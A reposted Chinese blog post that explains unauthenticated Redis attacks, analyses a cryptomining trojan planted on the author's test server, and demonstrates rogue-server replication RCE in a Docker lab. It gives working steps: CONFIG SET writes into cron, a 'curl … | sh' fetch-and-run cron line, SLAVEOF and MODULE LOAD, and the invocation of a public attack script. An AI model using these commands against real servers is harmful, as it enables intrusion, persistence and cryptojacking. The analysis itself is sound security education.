前段時間自己使用 redis 開發(fā)的時候,搞了一個 Docker ,然后直接開放連接沒有密碼,其實一開始我就知道會被黑產(chǎn)掃到然后給我種馬,但是把因為也是測試服務(wù),其實也沒怎么上心,于是就放任自由了,結(jié)果第二天果然收到了一份新鮮的木馬。然后簡單對其入侵做了一個分析,結(jié)果發(fā)現(xiàn)沒有能攻擊成功,但是既然木馬在了就簡單看看吧。
0X01 簡單回顧一下 redis 攻擊的過程
1.攻擊條件
(1)空密碼并且允許外部直接連接
注:這一點其實有很多細(xì)節(jié)
因為在 3.2 以后有了保護模式,保護模式的作用就是在沒有設(shè)置密碼 并且 沒有配置 bind 地址的時候強行只允許本機連接,但是對于綁定地址或者是配置過密碼的服務(wù)來講這一項可以忽略。
另外還有一個誤區(qū)就是這個綁定地址不是綁定外部的地址,而是綁定自己服務(wù)器的允許作為與外部進行連接的 IP 地址,比如綁定自己服務(wù)器的外網(wǎng) IP,或者綁定 127.0.0.1 或者綁定 0.0.0.0 ,這個綁定 0.0.0.0 就是綁定了自己服務(wù)器全部的 ip 地址(服務(wù)器可以有很多的 ip ,比如內(nèi)網(wǎng) ip 、回環(huán) ip、外網(wǎng) IP 等 ),因此其實對于一般的服務(wù)器來說,綁定自己的外網(wǎng) ip 和直接綁定 0.0.0.0 是沒區(qū)別的,不設(shè)置密碼的情況下去綁定外網(wǎng) ip 起不到任何的保護作用,返回會因為綁定了地址讓保護模式失效遭受攻擊。
說一句題外話就是:想要安全的話設(shè)置了空密碼就要綁定內(nèi)網(wǎng)地址,否則就老老實實設(shè)置密碼
(2)使用 root 權(quán)限啟動 redis
高權(quán)限用戶啟動的程序擁有和啟動該程序用戶一樣的權(quán)限,這大大有利于攻擊者在控制了 redis 之后借助這種高權(quán)限去修改高權(quán)限配置文件來完成攻擊(不過現(xiàn)在高版本的 redis 啟動默認(rèn)都是 redis 權(quán)限了而不是原來的 root 權(quán)限)
(3)redis 在沒有保護措施的情況下也沒有修改默認(rèn)端口
默認(rèn)端口是 6379 ,很容易被掃到
(4)補充
Ubuntu 下執(zhí)行 crontab 使用的是 sh , 而 sh 軟連接的是dash ,而不是 bash,那么如果你直接在 cron 里面寫 bash - i xx 的反彈是不可能成功的,解決方法有兩種,一種就是使用 Python 調(diào)用 /bin/sh 反彈 shell ,還有一種可以嘗試寫 sh 文件,然后用 cron 去執(zhí)行
2.攻擊利用的機制
redis 的攻擊主要是利用 redis 的持久化存儲 RDB 或者 AOF(默認(rèn)不開啟),所謂持久化就是一種快照機制,用來后期恢復(fù)數(shù)據(jù)。比如 RDB 可以在一定的條件下將當(dāng)前內(nèi)存的數(shù)存儲進一個 dump.rdb 文件中,如果下次想恢復(fù)這個數(shù)據(jù)的話,就需要將這個文件放在 redis 的快照保存目錄下,替換當(dāng)前的 dump.rdb 再次重啟這樣就能恢復(fù)原始的數(shù)據(jù)了
觸發(fā) RDB 的機制有以下幾種
1 在指定的時間間隔內(nèi),執(zhí)行指定次數(shù)的寫操作 ———–>可以通過配置文件進行設(shè)置
2 執(zhí)行save(阻塞, 只管保存快照,其他的等待) 或者是bgsave (異步)命令 —-》手動保存
3 執(zhí)行flushall 命令,清空數(shù)據(jù)庫所有數(shù)據(jù) —->清除全部 Key 同時也會清除當(dāng)前rdb
4 執(zhí)行shutdown 命令,保證服務(wù)器正常關(guān)閉且不丟失任何數(shù)據(jù) ———->很好地保存數(shù)據(jù)不被清除
3.大概的攻擊流程
(1)修改 redis 的 rdb 文件的存放路徑為 root 用戶的 crontab 配置文件
設(shè)置 dir 到定時任務(wù)目錄
config set dir "/var/spool/cron"
設(shè)置持 rdb 文件名為root
config set dbfilename root
(2)使用 FLUSHALL 進行清除數(shù)據(jù)庫
127.0.0.1:6379> flushall OK
這一步主要是想清除原始 root 文件的內(nèi)容,也是為了避免不必要的格式錯誤
(3)在 redis 中寫入我們的 cron 語句
127.0.0.1:6379> set test "n*/10 * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | shn" OK 這里的換行符是為了實現(xiàn)寫入時的格式良好,因為 cron 讀取的時候是一行一行讀取的,遇到格式不正確則丟棄
(4)強行觸發(fā) rdb 更新
127.0.0.1:6379> save
至此我們的 cron 的數(shù)據(jù)就寫入到了 root 用戶的 cron 文件夾中了
(5)總結(jié):
除了可以寫 cron 以外,寫一個 一句話 webshell 也是可以的,其實可以清楚地看到,redis 的成功攻擊除了依賴于 權(quán)限配置的失誤以外,一句話 webshell 以及 cron 對格式要求的不嚴(yán)格也是一大重要因素。
0X02 再次回到這次的木馬分析
攻擊者也是一樣,直接 flushall 了我的全部的 key,然后直接給我寫一個名為 back 的 cron ,每一分鐘從他的服務(wù)器上下載了一個腳本運行。
* * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh
-f:不輸出錯誤
-s: 靜默不輸出
-S: -s 條件下輸出錯誤
-L: 跟蹤重定向
在確定了攻擊者攻擊并沒有成功以后,我下載了木馬,然后簡單的分析了一下,看看有沒有什么操作我沒有檢測到的。
1.看一下 main 函數(shù)整體的調(diào)用
可以說是非常的簡潔明了了,木馬開始運行以后依次調(diào)用了
mark() background() sethosts() checkhost() checkzigw() initfiles() checkcrontab() checkssh() kill() checkservice() clean()
從函數(shù)名字大概就能知道木馬做了些什么,應(yīng)該對 crontab ssh hosts 文件都做了修改,我們來一個一個看一看。
2.mark()
簡單的創(chuàng)建了一條命令,并通過 sys 函數(shù)進行執(zhí)行,這個命令的作用是創(chuàng)建一個空文件,從 mark() 這個函數(shù)名字可以猜測來這個空文件的作用可能是做為一個該木馬有沒有成功運行起來的標(biāo)記
3.background()
設(shè)置進程后臺運行,并改變工作目錄為根目錄
4.checkhost()
刪除主機原始的 hosts 文件然后,重新創(chuàng)建空的 hosts 文件,并添加一系列的域名指向 127.0.0.1
而這些域名經(jīng)過訪問都是一些礦池
5.checkzigw()
檢測系統(tǒng)中是否存在 /etc/zigw、/tmp/zigw、/etc/zjgw,這些文件,如果有的話,就結(jié)束對應(yīng)的進程并且刪除對應(yīng)的文件
其中:chattr -ia 這條命令是關(guān)閉可能讓文件無法刪除的屬性,具體可以看 這里
6.initfiles()
該函數(shù)的作用主要是下載挖礦木馬,并且修改 rm ,首先是會檢測當(dāng)前的權(quán)限,如果是 root 就把木馬下載到 /etc 目錄下,如果不是 root 的話就下載到 /tmp 目錄下
root 權(quán)限
非 root 權(quán)限
除了下載 pdvs 以外,還下載了 httpdz 和 migrations 這兩個文件,除此之外如果是在 root 權(quán)限下就還有一個替換系統(tǒng) rm 命令的操作
rm 文件只有一個函數(shù),既然替換了這個文件,那么一定是非常關(guān)鍵的東西,我們來分析一下
這腳本的地址是什么呢?看一下 curlurl 變量的交叉引用
其實下載下來就是我們最上面分析的那個 sh 文件,也就是說這里的替換實際上是一個雙重保險
7.checkcrontab()
該函數(shù)主要是對 /var/spool/cron/root 這個文件的內(nèi)容進行檢查,看看是不是有自己寫的內(nèi)容,如果沒有則調(diào)用命令重新寫入
另外這里面還使用了 chattr 這個命令對文件的額外屬性進行添加和刪除,防止文件內(nèi)容被輕易修改,例如:
chattr +i 防止系統(tǒng)中某個關(guān)鍵文件被修改
chadttr +a 讓某個文件只能往里面追加數(shù)據(jù),但不能刪除
8.checkssh()
root 權(quán)限下可執(zhí)行這個函數(shù),檢查 /root/.ssh/authorized_keys 是否存在,不存在則重新創(chuàng)建
9.kill()
清理自己創(chuàng)建的一些進程和文件
10.checkservice()
檢測自己創(chuàng)建的系統(tǒng)服務(wù)存在,如果存在則設(shè)置開機自啟,如果不存在則重新創(chuàng)建這個服務(wù),服務(wù)的作用就是下載這個木馬
下圖為檢測服務(wù)里面的內(nèi)容是不是自定義的
如果是的話就添加到系統(tǒng)服務(wù)并開啟
如果檢測到內(nèi)容已經(jīng)被修改了,那么就刪除這個服務(wù),并重新創(chuàng)建
11.clean()
該函數(shù)的主要作用是刪除一些留下的痕跡,包括 history 和登錄痕跡等
0X03 利用 Redis 主從復(fù)制來 RCE
1.基本原理
該攻擊方法使用的是 Redis 中的主從復(fù)制,以及 Redis4.x 中新引入的自定義模塊加載功能。
(1)先簡單解釋一下這兩個概念
主從復(fù)制的概念:
Redis是一個使用ANSI C編寫的開源、支持網(wǎng)絡(luò)、基于內(nèi)存、可選持久性的鍵值對存儲數(shù)據(jù)庫。雖然 Redi s 的讀寫速度都非常快,但如果當(dāng)把數(shù)據(jù)都存儲在單個Redis的實例中,供客戶端去讀取的話, 那么很有可能會產(chǎn)生服務(wù)器難以承受的讀壓力。
為了緩解這樣的壓力,主從復(fù)制這樣的機制出現(xiàn)了,主從模式就是指使用 一個 redis實例作為主機(master),其他實例 都 作為從機(slave),主機只負(fù)責(zé)寫入數(shù)據(jù),很多的從機負(fù)責(zé)讀,這就很想我們常常說的 CDN 負(fù)載均衡的功能,如下圖所示
那么主從復(fù)制是如何進行的呢?
我們重點關(guān)注 RDB 文件部分,我們可以發(fā)現(xiàn)主從復(fù)制依賴的還是我們之前經(jīng)常利用的 RDB 文件,slave 與 master 的同步就和 MySQL 使用 Binlog 去恢復(fù)數(shù)據(jù)是一樣的。
Redis 4.x 自定義模塊加載:
Redis從4.0版本開始加入了對外部擴展模塊的支持(其實以前在unstable的版本時 redis 就支持社區(qū)的自定義模塊了)。外部擴展模塊可以實現(xiàn)新的Redis命令,新的Redis數(shù)據(jù)結(jié)構(gòu),總之基本上可以做到所有Redis內(nèi)核可以做的事情。
Redis模塊需要引入redismodule.h,用C、C++或其他提供C binding的開發(fā)語言實現(xiàn),并編譯成動態(tài)庫.so文件。
模塊的加載方式,一種是在配置文件redis.conf中使用loadmodule /path/to/mymodule.so在Redis啟動時加載。另一種方式在運行時使用命令MODULE LOAD /path/to/mymodule.so加載。加載的模塊可以使用命令MODULE LIST查看,使用MODULE UNLOAD mymodule卸載。
加載了模塊以后我們就能直接執(zhí)行我們在模塊中自定義的命令了,這是不是有點像 MYSQL 的 UDF(其實就是一個道理)
(2)將兩者配合起來
slave 能主從復(fù)制機制從 master 獲取到 rdb 文件,那么我們是不是可以自己寫一個 “流氓服務(wù)器” 去模擬 master 然后將我們自定義的模塊通過這種主從復(fù)制機制傳遞到 slave 上,slave 端只要將,我們傳遞來的 rdb 文件保存成一個 .so 文件然后再去進行模塊加載,我們的攻擊就完成了
2.該種利用方法的優(yōu)點
使用這種攻擊方法就可以完美的解決下面兩個問題,直接實現(xiàn)在目標(biāo)機器上 RCE
1.高版本 redis 啟動默認(rèn)是以 redis 權(quán)限啟動的,這也就意味著,我們沒法寫 crontab(寫文件形式修改 crontab 被禁用,只能通過交互 crontab -e 進行修改,但是對我們沒有用),可以寫 redis 用戶的 ssh key,但是由于是低權(quán)限用戶,危害較小,當(dāng)然我們可以寫 webshell(前提是這臺服務(wù)器上有裝 web 服務(wù))
2.ubuntu 服務(wù)器實際上用 bash 反彈比較費勁,只能考慮使用 python
3.利用條件
Redis 4.x
可以遠(yuǎn)程連接到目標(biāo) redis 服務(wù)器
4.利用的基本步驟
其實上面我們已經(jīng)說了,這里再細(xì)化一下
(1)在目標(biāo)上執(zhí)行, 將自己vps設(shè)置為master: SLAVEOF vps port
(2)在目標(biāo)上執(zhí)行,設(shè)置一下 dbfilename 為 xxx.so 文件
(3)通過同步,將模塊文件寫到目標(biāo)的磁盤上: FULLRESYNC <Z*40> 1rn$ rn (4)在目標(biāo)上執(zhí)行,加載模塊: MODULE LOAD /tmp/exp.so
5.利用演示
(1)下載 redis 4.0 鏡像作為受害靶機
docker pull redis:4.0
(2)交互方式運行鏡像,將 6379 端口映射到主機的 6666 端口
docker run -p 6666:6379 -it 67f7ad418fdf /bin/bash
(3)在 docker 中啟動 redis 服務(wù)
redis-server
(4)啟動以后我們可以遠(yuǎn)程連接看一下效果
可以看到遠(yuǎn)端成功無權(quán)限訪問我的 redis 數(shù)據(jù)庫,并且可以插入數(shù)據(jù)
(5)在主機中 clone 攻擊腳本(從土師傅的 git 上 fork 下來添加了個 .so)
git clone https://github.com/K0rz3n/redis-rogue-server-1.git
(6)運行腳本
python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6666 --lhost xxx.xxx.xxx.xxx --lport 2333
運行腳本后靶機就會把我們的 lhost 作為 master 然后自己做為 slave 了,并且會同步數(shù)據(jù)
靶機運行效果:
流氓服務(wù)器運行效果:
注:這里的 127 實際上是靶機,xxx 代表的是我的 “流氓服務(wù)器”
(7)查看現(xiàn)在的 redis 服務(wù)器
可以看出來,現(xiàn)在的數(shù)據(jù)庫以及淪為了只讀模式的 slave
(8)執(zhí)行命令
原文:https://www.cnblogs.com/aishangJAVA/p/11261775.html